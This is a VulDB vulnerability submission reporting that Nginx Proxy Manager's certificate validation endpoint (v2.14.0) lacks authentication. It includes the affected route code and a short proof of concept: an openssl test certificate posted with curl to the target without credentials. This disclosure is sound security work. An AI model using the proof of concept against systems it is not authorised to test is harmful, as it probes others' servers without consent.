Submit #944336: NginxProxyManager nginx-proxy-manager commit c354238 (v2.14.0) Missing Authenticationinfo

TitelNginxProxyManager nginx-proxy-manager commit c354238 (v2.14.0) Missing Authentication
Beschreibung Title: Unauthenticated Certificate Validation Endpoint Package: nginx-proxy-manager Affected Versions: confirmed on commit c354238 (v2.14.0) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N CWE: CWE-306 -- Missing Authentication for Critical Function ### Summary The `POST /api/nginx/certificates/validate` endpoint is accessible without any authentication. Any unauthenticated user can submit PEM-encoded certificate and private key data; the server runs openssl on the uploaded files and returns parsed certificate metadata including the common name, issuer, and validity dates. ### Details The validate route applies the `jwtdecode()` middleware but never calls `access.can()`, which means no token is required to reach the handler: `backend/routes/nginx/certificates.js` lines 164-191: ```javascript router .route("/validate") .options((_, res) => { res.sendStatus(204); }) .all(jwtdecode()) .post(async (req, res, next) => { if (!req.files) { res.status(400).send({ error: "No files were uploaded" }); return; } try { const result = await internalCertificate.validate({ files: req.files }); res.status(200).send(result); } catch (err) { // ... } }); ``` `jwtdecode()` (`backend/lib/express/jwt.js`) only extracts the Bearer token from the Authorization header if one is present -- it does not reject requests that omit it. The downstream `jwt-decode.js` middleware calls `access.load()`, which silently returns when no token is provided. Because the handler proceeds directly to `internalCertificate.validate()` without ever calling `access.can()`, the entire auth stack is bypassed. `backend/internal/certificate.js` line 554 confirms the internal `validate` function also contains no permission check: ```javascript validate: (data) => { // ... writes each file to a temp path and calls openssl _.map(files, (content, type) => { if (type === "certificate_key") { resolve(internalCertificate.checkPrivateKey(content)); } else { resolve(internalCertificate.getCertificateInfo(content, true)); } }); ``` By contrast, all other certificate routes (`GET /`, `POST /`, `POST /test-http`, etc.) require a valid JWT and at least `certificates:list` permission. ### PoC No account required. Run against a live NPM instance: ```bash # Generate a test certificate openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes \ -subj "/CN=test.example.com" 2>/dev/null # Submit without any Authorization header curl -s http://<NPM_HOST>:81/api/nginx/certificates/validate \ -X POST \ -F "[email protected];type=application/x-pem-file" \ -F "[email protected];type=application/x-pem-file" ``` Expected response (HTTP 200): ```json { "certificate": { "cn": "test.example.com", "issuer": "CN = test.example.com", "dates": { "from": 1779424158, "to": 1779510558 } }, "certificate_key": true } ``` ### Impact Any unauthenticated attacker on the network can submit arbitrary PEM data to this endpoint and receive openssl-parsed certificate metadata. While no data is stored and no system state is modified, the endpoint exposes functionality that requires a valid account on every other route. The primary risk is incidental: the openssl binary processes attacker-supplied file content without authentication, and any future openssl parsing vulnerability would be reachable without credentials.
Quelle⚠️ https://github.com/NginxProxyManager/nginx-proxy-manager/issues/5594
Benutzer
 geochen (UID 78995)
Einreichung24.08.2026 02:04 (vor 27 Tagen)
Moderieren19.09.2026 12:14 (26 days later)
StatusAkzeptiert
VulDB Eintrag407923 [NginxProxyManager nginx-proxy-manager bis 2.15.1 Validate Route certificate.js internalCertificate.validate schwache Authentisierung]
Punkte20

Do you know our Splunk app?

Download it now for free!